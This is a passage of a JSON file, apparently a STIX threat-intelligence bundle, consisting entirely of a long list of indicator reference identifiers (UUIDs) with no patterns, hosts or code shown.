        "indicator--561c6561-7317-43d9-9c9c-2f26ac2e24dd",
        "indicator--8df3b778-006d-4e8b-9214-c21ff5abaf1c",
        "indicator--63563ca8-48da-4d26-ac31-42185e8d58bc",
        "indicator--bd64cd53-e032-45cc-aa31-dc2d3effd229",
        "indicator--f66e3b9b-6151-49ac-a278-2accd9e2af89",
        "indicator--fbbde6a7-eae2-4be7-a4fd-bc247cc00571",
        "indicator--2ace7ff8-f51f-47ee-ad16-cb3fe10ba9ab",
        "indicator--40f411d5-f92b-4cac-87db-5e78713eed39",
        "indicator--1b680889-4778-46f5-93be-3ed2e98c915a",
        "indicator--41ab57ad-985c-4aff-a219-4ec207cda713",
        "indicator--433e4b18-2358-4607-b9eb-8b42ca10548d",
        "indicator--e9b36824-a280-447c-9ebd-9e41a3431d6c",
        "indicator--dcb8ea76-a784-45b1-a3b2-4d75421b4b06",
        "indicator--ba04bd6f-52fe-4f10-a9e9-86a6c3fe09bc",
        "indicator--c51a28b9-dbae-47a3-91b6-afed2347144a",
        "indicator--c64f1c8c-e176-403a-aaf2-c3f522e298ee",
        "indicator--1104699d-6c2b-4e12-9571-2bb20fecaa29",
        "indicator--30a00dee-a7f4-416f-9590-29192c2c5e17",
        "indicator--bac56965-bd30-428b-bf7c-ea87f4f293e1",
        "indicator--b1cb6914-8f58-4ac5-8585-85f4f54c7206",
        "indicator--905cd3ce-c984-4679-9daf-615444f6a51b",
        "indicator--eb371501-1dd6-48a3-893c-782f17046682",
        "indicator--1d218202-5030-4838-95df-f3812102c27a",
        "indicator--a7a767f1-8faf-4144-b2c0-7a70e6e62b15",
        "indicator--221c2636-d37a-4ec1-a6c0-678c58f6dcf5",
        "indicator--40e793ed-0247-4ca7-a65b-5444b38ea9f4",
        "indicator--04daf381-1ddd-45b9-ab07-7811aa229225",
        "indicator--6b18c3d5-7b88-4185-adbb-67d00f9f094b",
        "indicator--1ae992db-9273-439d-a340-05f19107c374",
        "indicator--7942817b-aacd-43d7-9c13-f4ff1a0b7a42",
        "indicator--2559463f-38e5-4d7d-9cf0-6b369badafd9",
        "indicator--3b6bb912-23cf-47c6-858d-382e8dc97ac2",
        "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
        "indicator--bb68483d-7a6c-4cc9-9ca2-1fbd61d5c39c",
        "indicator--472edd72-b7e7-436d-b617-6b97bc86fd44",
        "indicator--9b358dfd-86c3-4182-9db8-74ee70b5d2b6",
        "indicator--4905b5ff-133e-4694-b94a-993beadc33aa",
        "indicator--cee8ef6c-481c-414c-a248-c29c96f6c617",
        "indicator--5ab3537f-8720-4aa9-b9e5-fe341156870b",
        "indicator--dea68e21-40a6-4164-bcae-7e5b4f4928dd",
        "indicator--140b1210-eeb6-44c0-8efc-60d1f1a26524",
        "indicator--6a00c25f-11c7-48f9-bfef-9862879271f9",
        "indicator--2ca3f3e7-a2c0-4d35-85c5-cb5fcec03d47",
        "indicator--e0ca3ef7-1cf3-441f-9615-3f5613aae3f2",
        "indicator--327c7199-a62d-4e90-a7c6-7faae281d831",
        "indicator--592b9147-6e79-4597-9fae-72c34d0848ae",
        "indicator--c1dbd97b-71e0-413d-8975-504a544b8a99",
        "indicator--22365f69-1d12-48f5-ada1-099ff02833b7",
        "indicator--12024afd-9943-4d34-bc70-0e49d4fa1ff4",
        "indicator--7c627d8b-054d-40ae-956c-843a8e92ed5a",
        "indicator--ca8b7c12-989b-4b73-9075-280e0d018ff7",
        "indicator--73991aa1-e516-4c45-95dc-11a2b11a4ed5",
        "indicator--ce2bdeec-11e3-4a45-a569-ad47a7f57659",
        "indicator--84f93de3-0c95-474b-ae2c-e5e5ef58d4e9",
        "indicator--828943b8-c47c-47bc-9968-e68c3ff3ab69",
        "indicator--5cda55f0-7c1a-41e0-850a-25f0c11ae4bd",
        "indicator--aeec07a6-58eb-44ce-ad16-ba7f1ab9abc9",
        "indicator--27cf094c-4c64-43a0-bfdf-ae1b184d3968",
        "indicator--cb4e1519-c299-4ab1-a7f3-35cbe9b5ff30",
        "indicator--25c2c4c8-5595-4c53-b530-43bbdbab82e6",
        "indicator--b06a2c4a-d2d0-4e88-b7db-6363b1551ecc",
        "indicator--fff1d304-a9ad-41c2-9f98-e96c47ac60c3",
        "indicator--997a0f9c-1e6b-445e-a9b9-fde438466e82",
        "indicator--3393dc3e-66b7-41a3-b0f7-f9544eefcf90",
        "indicator--673a7ccf-4f5b-4ced-80fd-69a74c7fd61b",
        "indicator--12c49a5e-66cf-4198-a583-a5de58faa759",
        "indicator--36ea5911-b6dd-4424-b365-5db0d5db5b45",
        "indicator--ebcb2077-ded4-4178-8f3e-918e76c41222",
        "indicator--c56c651d-fbc7-4369-8be5-c5a178a74944",
        "indicator--87c1dc05-a0cc-4043-812b-7e55d4e1d9cf",
        "indicator--257c6f92-bcb1-423a-8050-08c8ea8b0e73",
        "indicator--579bb2b6-8910-4dc9-9673-dbb169a48dd6",
        "indicator--f7eca772-fd4b-459e-a4d1-e3d175fa3f90",
        "indicator--e7bb9bbf-631a-4e42-aae2-c831f47bcb51",
        "indicator--716afbda-671a-43f7-95ce-68e3b065c54a",
        "indicator--6f5b4ddf-0c42-40a8-a3e0-5d7c4b7399ac",
        "indicator--30b43fe2-ee1b-4799-b868-cf7be8d237a6",
        "indicator--f9938537-0dd2-47b9-a072-068ee2cd8a0e",
        "indicator--6146a71b-7369-4aa9-8746-529bf5905fb0",
        "indicator--b75b876f-bdfa-4fa0-8019-ed9e32e32864",
        "indicator--d8df5015-5aa4-464e-a2fb-abd31223afd9",
        "indicator--c9db88c9-137c-42cd-b979-1c0c9e1f12ec",
        "indicator--2c9dde4a-5ba1-4b84-bae7-3a5d0d44e170",
        "indicator--c7c93920-fbdc-4fc1-a4db-ab05a55fe5a3",
        "indicator--1f8d1ce5-c42a-4c8e-8598-185e9100d177",
        "indicator--2a9f96e5-af97-4f65-b681-5fed9c8d5c34",
        "indicator--aa478d05-afe7-4b67-b776-47c560c1e609",
        "indicator--1aaa7aa0-d063-4613-8995-dc78b988f862",
        "indicator--6f04854e-3bec-4b46-b090-01d31e2a2164",
        "indicator--d25cc8d7-1de0-43ef-bf39-dee107d51487",
        "indicator--61e8aa07-404d-44dc-bbb6-44c224ca7cf9",
        "indicator--825f334a-48d5-4ce9-9f15-51fbd5e7e321",
        "indicator--1de736e1-21fd-4b06-bd24-4b854d93b0fe",
        "indicator--10999bed-d1c8-400a-a84e-f3110efbcc59",
        "indicator--f2e1697b-7088-4d6a-9ea6-2355e5797685",
        "indicator--5d81697e-7b7b-4ead-a1f9-1c16dcb00d55",
        "indicator--835feda1-5c82-424b-ab4d-8b184d5765a5",
        "indicator--6890cb18-723d-4594-8223-3e5027b0dd10",
        "indicator--aa9f8168-d9fd-436a-bd45-4d6caa93411d",
        "indicator--0afcdf02-fba2-4445-83d6-a02dc26fad64",
        "indicator--885e36f5-19dc-4915-89e1-b17cb35f817c",
        "indicator--d05bfb9d-bfc4-4065-a742-515a48775f68",
        "indicator--e44ba671-8e20-4856-983f-6fb416831236",
        "indicator--ca64977e-d674-406b-b917-2b1916bd00b7",
        "indicator--938fd046-f0f7-45a7-a669-d0a14cd044d1",
        "indicator--c1d97e5d-c50e-4aa1-88ad-0506ffefd100",
        "indicator--1aa2e89a-033d-4efe-80ce-0bc68f8772f2",
        "indicator--51938c4c-c420-441d-84a8-2dc83e0c74ca",
        "indicator--03bb7d65-3221-4a82-9e1e-350c7106c3ba",
        "indicator--b6c58546-be9d-468d-a0a8-1f19b0bd953c",
        "indicator--6ad878ba-b4f4-4ce9-87a3-e565596beb81",
        "indicator--cc49d170-a491-4072-99dd-d061ce07c4d2",
        "indicator--df8454d4-fcd6-4f5a-aa65-dbc80a6533e5",
        "indicator--95ad3ab5-7bfe-4e5b-bdd4-b09c7fa7cef1",
        "indicator--db95755d-d326-40d5-a9bb-1f1374e6f9df",
        "indicator--2d1de9d4-3d57-4d37-8993-83bffd611bbd",
        "indicator--4f75df4e-2dba-4b64-8159-f86023595fa7",
        "indicator--ad203d16-a155-4e14-ab34-dc8679e48577",
        "indicator--eba59c2d-47b2-4cac-ae7b-5198fc514166",
        "indicator--ae8f883c-c59d-4ccf-ac97-743bbdac2999",
        "indicator--3389ae62-f61a-4a57-b62b-af51bf7199ae",
        "indicator--72f71a6d-8906-4eb5-a472-212e4a78403e",
        "indicator--f13f2265-c4db-4007-a232-302936b59cc2",
        "indicator--8c3db7a8-4610-486a-a356-04d5cb8a2d2d",
        "indicator--0edc4a13-9d99-4420-ac3c-0bd0e659e387",
        "indicator--b0ac1179-9d77-46b7-b7c4-7cacdcd8b503",
        "indicator--2d3f45df-a61e-4fa2-8fa8-e8960dcaab1b",
        "indicator--94279b86-c03d-4b58-8003-c9d21b975b97",
        "indicator--c76596ad-4073-4114-882f-b5cdee8323d2",
        "indicator--3fe8451c-7b25-4fc7-8c6d-53a662f36ba8",
        "indicator--f3a7db66-dd21-4185-b3b1-0b4319bf67ea",
        "indicator--025141f2-548c-4c5b-8d59-3d0fe2dccf79",
        "indicator--70f9364d-a433-464f-88b6-fe55a046cbe2",
        "indicator--5960d2b7-90eb-4d41-85d3-957eef073866",
        "indicator--3f9b4f54-351a-44a5-bec6-b7e83a6fc2cc",
        "indicator--f0210a51-3ca6-4748-a7d0-d5e5b740a9ee",
        "indicator--94fa2a80-97f8-41f6-9241-08de5eeb306b",
        "indicator--092ced31-ee28-4c4b-a00e-ebf856b31d3e",
        "indicator--6bbc4186-5c0c-4065-9032-2511ceae1e79",
        "indicator--44f61efc-aade-4ece-a095-9bafa18fe9fc",
        "indicator--46453695-703a-484a-b0f3-bef92a31dc73",
        "indicator--4efc883e-a6fc-4626-839b-eb0ea5c033b3",
        "indicator--8624f336-5f5d-49b0-af1b-5d957ac03a4d",
        "indicator--f1381559-e52b-4710-b0c5-d53912475ca6",
        "indicator--c774bb4b-201a-4688-9a71-4783b88384d1",
        "indicator--2a7bdedc-fba8-4073-b656-1b4489d90131",
        "indicator--3abaad2c-182f-4770-a27e-0038e8dd6c98",
        "indicator--7e194419-7a08-4b03-8cbd-80b9fae7ff85",
        "indicator--3ffb4d40-d4c7-4196-bf6a-49e299eefe8f",
        "indicator--3f197fe2-21b6-41c5-bceb-974e97e31341",
        "indicator--0dd623cb-6b5a-4cb2-892c-21d40c8b1ba9",
        "indicator--337fbc34-b326-46a0-9ddd-3b499ddae3df",
        "indicator--1df5c5cc-08b0-4fa9-b489-953b2961e216",
        "indicator--c54c77e2-1890-4422-bcfc-5135be5b17f6",
        "indicator--875cd5b1-94dc-455a-b375-7dc83747a6f9",
        "indicator--820e4aad-5097-4cdc-b297-20f7a2f29aad",
        "indicator--41278918-d769-4632-94fd-bb68a10c70a8",
        "indicator--40506217-f08d-4232-8353-cc89bf637774",
        "indicator--4199beaf-9ddb-4682-aee6-206ffce14d5b",
        "indicator--c32267ff-ec9a-4768-ad8d-71d714ea502c",
        "indicator--7ed60638-b67c-4ca9-8819-0cf5f40cbcea",
        "indicator--18cdd615-f84f-4b13-bd52-c27eebec34a8",
        "indicator--61ffe912-eb98-49bf-a033-ea380be52d35",
        "indicator--7c569cf1-7d12-4468-97d9-0ce80f0406ad",
        "indicator--8799b47a-6129-4a8c-b26b-51abeba4e505",
        "indicator--6af95372-835d-4a1c-adfe-88d56d7dc1c5",
        "indicator--b6bc8845-fc1b-464f-881e-8b06f6aa94f6",
        "indicator--bba817f7-4bfb-4265-ba63-6e3d059850e5",
        "indicator--c6b0aa22-8491-43f3-b7e5-c621f5f46da4",
        "indicator--53b4c723-4b96-4935-98ad-eda7bdff55ed",
        "indicator--80f651f2-3c74-4c13-a25b-2ed2bd9fa59b",
        "indicator--4229f989-98c0-4bc3-b83c-de0d10a3e588",
        "indicator--aa70558c-b1ee-4dbe-80a3-ae5d0c8352bc",
        "indicator--d1628ee5-ea67-4551-9986-d4469ad125e3",
        "indicator--eddbb4a4-02a1-4bc6-ba7e-36c256d402fc",
        "indicator--667d50c7-c5b6-4556-a87d-55445c1bea38",
        "indicator--f643a624-87a8-4f89-a68b-c3ea3a5ec204",
        "indicator--676c3ba4-c867-4e01-853f-2cbf293c30e2",
        "indicator--e2a645d3-f896-4c1e-940e-ef816d36a1e5",
        "indicator--eae1a403-68dd-46d5-992e-470a1ca81c10",
        "indicator--376e08e0-7c85-4fe9-827f-a304af5609e5",
        "indicator--597e42c4-3528-48e4-8473-bf60a976ac18",
        "indicator--bd0fcf33-1da8-4bbd-9bee-441603afc14f",
        "indicator--eddf76f8-854f-4477-8d45-1999affd18d9",
        "indicator--7103cddd-ef71-4e05-a401-5e5054901737",
        "indicator--30445292-ec72-420f-be63-bc056e62a356",
        "indicator--f2054665-c9b3-49e2-b8f1-36f1de73ba7b",
        "indicator--afdee806-5073-4c3a-ac0d-388cc1a567b9",
        "indicator--89937d4d-e5e6-43af-919c-f907de1f2f6a",
        "indicator--231870a9-bb25-4d82-ba3e-a8dbc2ce60e6",
        "indicator--a5c4bbdb-0c78-4ec1-90f7-5e08661cab94",
        "indicator--3e2266f0-6b91-492a-ac87-b14bbb18c17d",
        "indicator--892270af-828a-454e-a17c-38d6a8dda951",
        "indicator--dd17d433-6f6b-4ae5-b6bd-51cf67db57ef",
        "indicator--6de64068-df60-422f-a122-1a77b03b2658",
        "indicator--73ce5606-3f8c-4efc-981f-7c93808584b4",
        "indicator--5c1028a6-4618-4d52-9702-04e2e09653ab",
        "indicator--60d9375e-112b-4877-8e88-b6bb38f31967",
        "indicator--a316d8bc-9dd3-4693-9851-f8bfb675ce6f",
        "indicator--406381d7-c230-4e36-a82c-e4ee6eccf094",
        "indicator--311be514-cf0f-48e4-b3cb-f1c8d595113c",
        "indicator--16d19770-aba5-4d02-a1c5-66b26bf62b85",
        "indicator--a8887d05-29c8-445b-9607-885c5c38e5ac",
        "indicator--2a4cf8c5-f265-4ce2-a82a-d8ff7d63e2e4",
        "indicator--00c535ae-79f2-494e-8b64-0b0ef25a5655",
        "indicator--15bb8961-a62a-42a4-ac4b-c64e4cd09ed5",
        "indicator--1a3e7d37-d536-4624-8679-dfad30ddb6a8",
        "indicator--55190bd4-29bd-4cb7-9226-66aa4987eaa5",
        "indicator--c3c07ec0-19c3-4ab1-b69f-5df936f9043e",
        "indicator--d77e326e-2443-4cb8-a2cc-3e4248d3b5a3",
        "indicator--20816c33-60be-4710-9d92-2f24f5fcbe0d",
        "indicator--3caaec08-7c37-4179-9216-d243396a5872",
        "indicator--8a1d27eb-d5a6-48ef-9b74-f797299660e5",
        "indicator--c2cc8ff6-773b-44f1-bd68-ac25d52cd10c",
        "indicator--c2a49560-5d05-4f43-97ef-42f935a6ee50",
        "indicator--ecba5173-f049-4c63-a897-8aff2942422c",
        "indicator--c2ab8dc4-e91f-4d62-80e4-b58fdc7c1df2",
        "indicator--64a6c653-6837-41ab-94ec-90c002a74b83",
        "indicator--14febb6f-7b68-4a3c-9d38-5478f8ffa2f0",
        "indicator--5e980869-8b34-4e88-ac5c-8572e7a55919",
        "indicator--f153d099-37a7-42c4-aa66-c6dc905d0705",
        "indicator--352d355b-c320-45d4-8a41-a91eb1be5a7a",
        "indicator--35ce3e07-9a9e-49b9-82f2-f21af79bf7eb",
        "indicator--3a489885-90be-438a-b5f0-0348d6f17254",
        "indicator--c5219e76-cc96-43ef-953d-3bb40d647683",
        "indicator--8576bf76-b18c-41a1-af29-b2a486be1f11",
        "indicator--e5879846-971f-453a-a1dc-4911e75a1a0c",
        "indicator--ea62c971-51a3-4045-8f4d-e39a8aaf5b12",
        "indicator--2198d7ba-a878-4b19-b953-485a41a0aa83",
        "indicator--7e0cef78-3fa7-49c1-bde1-9a3d61ba8a4b",
        "indicator--210433d7-83d1-4f33-af00-66b2da3511fd",
        "indicator--961f321e-333a-4a54-9190-d3aad2f152c2",
        "indicator--25c2b6cf-8b9c-46d4-8f34-d595d84e5f5d",
        "indicator--6adac336-fe4f-4bb6-9667-4a8bab13db09",
        "indicator--e5fabd4d-7b2b-4bfc-b28d-a29aa5ab79b2",
        "indicator--0d353206-070d-4012-9efd-7cb355112962",
        "indicator--e48da5d2-7e6b-4e41-8fa0-7f1efb82b67d",
        "indicator--fdd555ff-7c3c-4267-8835-d47c507e5645",
        "indicator--c835744a-b1d9-4baf-9af7-50a4e6caee6e",
        "indicator--3ea34e86-07db-4a0a-842c-9e523c0449c8",
        "indicator--4eba8379-6282-41e3-8d1f-7847e0e2e24a",
        "indicator--04ae6db7-9ec1-4ada-9ffb-71933abab120",
        "indicator--106436d6-de56-4a59-8600-9cfc1499ab65",
        "indicator--c119702c-2f0f-45f3-a635-2f3a618375b3",
        "indicator--e1f99223-4250-4b08-8412-8bb20d4042a2",
        "indicator--599b6aeb-a74d-4b1c-9117-99094db67151",
        "indicator--4a5b8a26-e589-4eb5-920d-d5d12bcad52f",
        "indicator--7e1cb6b3-9b18-4dde-a542-c9de8248ef48",
        "indicator--4020b69a-bfea-4488-8aba-9d3b4d89f001",
        "indicator--793aed51-48ee-4e8e-8593-5479e14ae4a7",
        "indicator--11209706-ac46-4aa6-8b77-62fe7c993c97",
        "indicator--e3f6b35d-0da5-46f8-a7e3-7a93ca209fcd",
        "indicator--3f139be1-69e3-4e69-ada6-55b7cc782f44",
        "indicator--6eb82bc6-0555-491a-b995-24d25d0cc1fb",
        "indicator--49f1a1dd-985c-4d8c-b9fe-17e9ab78f476",
        "indicator--3d56a804-87b5-4b64-af1c-289cfe1a4700",
        "indicator--c1d8633f-c98d-4b65-b409-a7e297ad233c",
        "indicator--fccd9372-5a86-44ed-b37e-0b02faab97a3",
        "indicator--360d6ee1-32e9-4eda-bb22-0b7cb27f2688",
        "indicator--274979bf-492e-4f56-82ee-e2c1496e7712",
        "indicator--c230734a-c406-4176-ae92-0eb70b2fed48",
        "indicator--7b7ceda7-225c-44d7-8951-880c4a179a37",
        "indicator--a6daae1f-012b-427f-9ca5-c8912c2a4a24",
        "indicator--dc607bc6-b3ec-44a9-a7e8-a17fb6e51d79",
        "indicator--8c5a690a-e58f-433f-be80-7f402eee8be5",
        "indicator--6b27ea6e-3566-47e1-b230-252042047762",
        "indicator--93e118c4-2ec3-4579-8538-940fa103c4cc",
        "indicator--4f9bd0a9-cbdd-47a4-bcd2-fb92a2b06fe1",
        "indicator--d399dcc8-8738-42b1-8277-160a6895342f",
        "indicator--316c2c7c-38fb-4656-bb32-d4d0b8b72175",
        "indicator--56290187-9991-4118-bf2c-cd42ed92c57c",
        "indicator--158752ca-46c3-4da8-98d7-9050c145dc5c",
        "indicator--676beca7-c492-4b95-9ecd-73b1c99572a6",
        "indicator--628e649c-3291-4b7e-a41e-21e5911830a3",
        "indicator--bf682326-b9ec-45b8-9906-71d9bb9d62bf",
        "indicator--13aefd73-0508-4f21-98fe-6923ccf81efe",
        "indicator--85025cd8-6d60-48a1-9ccb-51bb69b412c8",
        "indicator--14cb6c77-0a40-4672-9aac-3def9be71323",
        "indicator--4055172f-6956-43eb-b2c2-e295e0331aa0",
        "indicator--7810935d-a235-46f2-8571-129d3de76244",
        "indicator--14bbd3d8-9c52-4af8-8027-58514a22ac70",
        "indicator--d1af4dad-4bb4-4996-a882-61e15016d2a4",
        "indicator--5aeec3bc-29ac-49f4-a459-07f451971486",
        "indicator--21fb99fe-88b6-4e50-9e6d-99bbbda90d9b",
        "indicator--49414ff3-54aa-4576-90a0-6af96f2bf0b5",
        "indicator--cced4e81-adbf-43b8-80b6-d4eb3403a867",
        "indicator--844a9b32-f05a-4bde-808d-73080b2f124b",
        "indicator--7f5729f2-cc16-40ab-a584-ef0a7a3122a4",
        "indicator--732450d1-e4d5-424e-982f-d7d99539cb12",
        "indicator--e995431b-b95a-4b5e-9855-0b56fdd29057",
        "indicator--81992fa7-991b-455f-b168-683d8b2b96b4",
        "indicator--ba74a622-bd2a-4829-9634-8ef29b88a277",
        "indicator--31e5e9dd-d96a-433c-9363-f76fd3fd8267",
        "indicator--557c80d5-dbdc-4e31-8665-c9ab5d24c30c",
        "indicator--e1cb2043-7c4c-41b1-a92d-3b22aa5def12",
        "indicator--bf71533d-2ec3-4965-a7d2-bf7e69bd6513",
        "indicator--68f9a4d9-bc55-4d87-b554-f9ad9641debd",
        "indicator--c11e903b-2a4c-4332-93f1-740b2e9c4f68",
        "indicator--ce9c5a8b-c22a-4cac-96b8-1241dce92634",
        "indicator--71590b08-96b4-41d8-bb66-50fa6e513b6c",
        "indicator--8d41c8d7-f5ef-4644-8825-b8fbb093323b",
        "indicator--15ae84d0-47a3-48c3-a350-41bc8c75067f",
        "indicator--80acdb14-44c9-4b3b-8483-f9a91d7c6a80",
        "indicator--9f24a41c-a86f-4421-9188-fec5419f3950",
        "indicator--cb113ad2-cac5-47a6-8267-3183a420e07d",
        "indicator--1be0a154-1d86-49fb-a1c6-bc8d30126533",
        "indicator--3c00e932-3674-4ded-9d65-bbb04441e085",
        "indicator--37f3669e-a800-4b29-8df3-d0faf326cd37",
        "indicator--46c9a5da-5e3a-484e-a45e-dc4e4974a170",
        "indicator--aeef29a0-6b0e-45d7-98ce-25c56ef6a9ce",
        "indicator--a61242a8-5dd9-42ee-b15b-896514b1132f",
        "indicator--468490fe-c298-46e1-88c3-4091b87793a4",
        "indicator--a0006219-8778-46b0-a883-ec57811e9848",
        "indicator--3af0758f-eccc-40b0-b4d2-048430c3b060",
        "indicator--1b7e141c-fb8c-47c4-b8a8-dabe36a8f985",
        "indicator--989ae3c7-b499-414a-80c4-eebc63daf0c5",
        "indicator--bf7b9e5a-3d78-4ae1-abe8-2f483a5c9ea1",
        "indicator--34920249-b882-436d-98f9-836cfa33240d",
        "indicator--e24618db-138d-4517-ac36-d76388fe8c26",
        "indicator--61c5c136-fc3b-4dd9-ae18-684fab0f1d2a",
        "indicator--8b7e1003-0eeb-4c37-b4c2-b26e5c30962a",
        "indicator--f975d894-b4b5-4755-a45d-ed700c6b4a5c",
        "indicator--e859a398-f4fd-43d9-85b6-db6cddc768d2",
        "indicator--561a7ccd-d1b6-42e9-a277-3c49596a02b8",
        "indicator--07437c83-337d-4451-be60-4475fed17935",
        "indicator--455cbc69-f464-4d50-b1c9-ca77ee36bdf6",
        "indicator--71fad5e5-a034-43bd-b648-1a22bd97f384",
        "indicator--7c5ea43f-0af2-474a-8bfb-c7bd4fc9a363",
        "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
        "indicator--712d6d99-7dbc-4f5d-8d0e-02e1c68cc9a4",
        "indicator--7da166b4-c0d5-4db4-9659-384010cf2696",
        "indicator--51da8cc0-1d27-4983-aa69-f8c4b9586f81",
        "indicator--d244f46d-335a-4315-81af-894782fb3d95",
        "indicator--edcaf9a6-95cc-47ac-ad51-6362b14d1cf5",
        "indicator--c6bb9c91-1e2c-4e4c-b02e-a64d9f2a094d",
        "indicator--8c74eba4-8371-42d2-a1cc-892396c1171a",
        "indicator--dfd700d3-b3c0-4efa-a1e2-2da9f4d65a78",
        "indicator--6ba54380-6904-4bcd-84db-af7eaebb1870",
        "indicator--4e95e6ef-b794-4afb-8101-044ad3ed617c",
        "indicator--07e0abd6-4a2d-4f49-861d-ef2160146673",
        "indicator--32ef8a56-ff5c-4aeb-96c1-dd76cbd85a35",
        "indicator--de6ad289-ac44-40e5-a9b1-3bbb5e275f20",
        "indicator--885c3b29-606d-4679-9f3e-a98af4aed531",
        "indicator--08c63449-00bd-49d1-a9dc-c823fac365ca",
        "indicator--fd74e21b-272b-4e78-b6a6-796f56c82fa3",
        "indicator--1c59f0d9-be81-4e27-bd1b-375c41feae11",
        "indicator--c0fd4250-2eba-4251-81c3-e9931f08d9a3",
        "indicator--cdbed786-7538-4640-b6ab-a80cf0e672b7",
        "indicator--9ef0c206-0c11-4aec-9a57-346c3a722951",
        "indicator--9c2acf61-8fd9-4ef1-850b-c52f0be3199b",
        "indicator--da507950-a9ce-46b4-b0f5-189c4db90778",
        "indicator--90701e41-42a6-49c4-998f-77a774b383db",
        "indicator--cf806075-39e7-4c6f-8fcd-97357b6df480",
        "indicator--9c418e19-6bdb-4ffe-a3a0-f7b97ae6c037",
        "indicator--fbbd49be-fdc7-4963-a3de-fa77d4003162",
        "indicator--215bf598-7416-4544-8695-72ca90c88eab",
        "indicator--010b8b5f-8c4d-4bdb-a158-e327539a0850",
        "indicator--a481d4c2-db9f-4b2e-ab74-db9a5b7025c7",
        "indicator--3b1c84fe-9cb6-4e2f-9647-e7a17997fa3f",
        "indicator--507430d9-c26c-411b-a3f4-3ce85c2f8eea",
        "indicator--c68bd58b-5968-4698-bb96-2e817d00eeb8",
        "indicator--f6ef8d4f-1038-49ca-be82-55f413fae1df",
        "indicator--0a9deec2-0294-4ae9-aa21-2a65e443784b",
        "indicator--e72db1c6-de6d-4af6-9733-969601c0c0bb",
        "indicator--1e226ca8-0523-419b-8270-f932c94a2038",
        "indicator--b671ec01-2a07-41fa-97d1-66239afe9c47",
        "indicator--8696243a-797d-4a9e-a5b6-ff1f9c54dcb5",
        "indicator--a723512b-fbcf-473c-ba75-991240fdfddf",
        "indicator--1d8fc362-08a9-4969-b967-8fb71a30a12f",
        "indicator--c3644ed9-3b81-4177-b57d-550a58eb3e17",
        "indicator--ee8b5e74-4402-4d19-aa93-7e0e786cb69c",
        "indicator--ed7d6c1f-fff6-4190-abe6-2a822d684784",
        "indicator--cc1201b0-647c-4966-a7e7-affc3faa6cd9",
        "indicator--4e033580-6e73-43c1-bf0d-d38a1b1aadd8",
        "indicator--f9576f58-785c-4753-80a1-e4dd5e8e71e3",
        "indicator--9786ed25-a484-4813-aaa9-61c350541e23",
        "indicator--ee1bff88-8528-4074-ad04-293f900949ee",
        "indicator--b844ca70-ccee-4460-ad21-5725229bd1d5",
        "indicator--0f885a9c-7d4f-40b5-8513-115f05d3b928",
        "indicator--adca24d1-121f-4ad2-8bdd-62441ee31bd9",
        "indicator--3088caef-cd4b-40cd-8bf2-e0171dbb1852",
        "indicator--52a07de8-8824-46fc-9754-495613484607",
        "indicator--3c2c1f89-2420-4efa-b7d6-f3e7dfec9c12",
        "indicator--6cd6082d-5fbf-4d26-ac19-74ac8808d08f",
        "indicator--05247b58-ff7c-4b6e-b801-e3a5776eb88f",
        "indicator--fefc7d44-e824-4a77-aa89-ab860c310059",
        "indicator--9137de74-b08c-4b5f-b9fe-dc6aea8846b1",
        "indicator--d4e5ee53-5dfb-4d31-b8ba-d9aaff3aa9d1",
        "indicator--4556e99e-df0d-4d9e-9738-2c01c944da4c",
        "indicator--e955d7e5-dbf8-48c0-84d9-2ee1f2d01477",
        "indicator--afb8058d-f448-4319-b632-b20b5f1b612e",
        "indicator--4d7b0ad8-08f6-48b4-a30d-d4a59222e5c4",
        "indicator--dd4d3cfa-b70c-4250-a842-30a853eb6f88",
        "indicator--ffaf5a27-43c1-4723-b93b-3019a31193e3",
        "indicator--a8761d3b-b2a1-455f-98d2-54ce6723db4a",
        "indicator--ddc1f81c-e215-4e2e-b15f-9e919f1260d4",
        "indicator--ff387ebe-6c39-40c9-b1e8-d6cea34f6745",
        "indicator--f6efa29e-3fe8-4adc-9732-682c24c0c90f",
        "indicator--ed9bde3f-7ea4-472a-bd9a-d37093a50285",
        "indicator--7ef9c43f-3d6d-434a-b464-1e121abf2d29",
        "indicator--0d990b3a-39de-4ead-9a09-8f211f1bb7d1",
        "indicator--f43bd61b-4efd-4dcb-96a7-ccd545a6a6be",
        "indicator--b77245de-a12c-4055-aca0-14681e8adb97",
        "indicator--381f8007-72ef-434a-9397-311e1c93f0c5",
        "indicator--922fa44c-0bc4-4981-847c-409448fe1fce",
        "indicator--aae3e068-e3cd-4198-9332-0ff142c6dae7",
        "indicator--ef52b2e8-9c54-4fda-b208-12437b615029",
        "indicator--d59910c2-62a8-4051-a659-8fbddbca0cbb",
        "indicator--e669e754-65bc-4bb6-af6d-b0613bdb3e99",
        "indicator--c4abb904-98de-4c0b-91f7-fc0411a61d9b",
        "indicator--9a7d962e-1d96-4449-bc1e-f9ccc0eef9cb",
        "indicator--b673dd32-019c-497b-babb-d37e40823fea",
        "indicator--6132e39c-0288-45d8-9624-507a1ca87d18",
        "indicator--b55f19d7-1993-4f5c-8acd-7eaa9f6e90c8",
        "indicator--87856b04-6f1e-44b7-9e8f-db869a42235d",
        "indicator--a9b84e3b-4933-4f7c-a06a-fcbc7b76ce95",
        "indicator--02dd5453-e004-4a43-918a-9dc6fae11413",
        "indicator--7482a3b9-aae9-46da-a607-9ea3f5822e82",
        "indicator--bb238628-7a2a-4ea9-a9f8-24d5402f1ced",
        "indicator--5681d708-49c2-481a-9311-23791e9125d3",
        "indicator--2857e31d-f534-440b-a574-545ceeaa3ebc",
        "indicator--95bf2c3c-83a0-43ab-861f-db09de7e4eee",
        "indicator--e5dd69ed-43d8-4ebc-8187-883b813d862e",
        "indicator--f904ae5c-09de-455c-8595-9270a9db6c04",
        "indicator--b899efe0-0ce6-4280-806f-3648cee4ef1a",
        "indicator--958d5128-a9f3-4018-8dd5-440509441f0b",
        "indicator--8758ea5d-ab27-440f-a890-38298b9f39d5",
        "indicator--5b576839-505e-4253-a7f8-7379f7301077",
        "indicator--e42a9eff-c99e-4f8a-8117-19475755971f",
        "indicator--458924b9-f6df-45fe-9186-5cab7064aed3",
        "indicator--b458b4c2-8265-4e59-ac85-8c25c083cbcb",
        "indicator--bed5c877-554e-41e2-929b-f3780ffd1b6f",
        "indicator--0400fbb2-0130-4d52-a922-eb4570c6e092",
        "indicator--39e421bb-810a-4a63-8f25-2f3781aaa129",
        "indicator--ccb3959a-14d0-458f-ba1f-b6c9d2ede919",
        "indicator--674eb712-b736-4a31-a96e-b0010291a4e0",
        "indicator--4837c823-c45f-4413-811e-79bd2abb84fe",
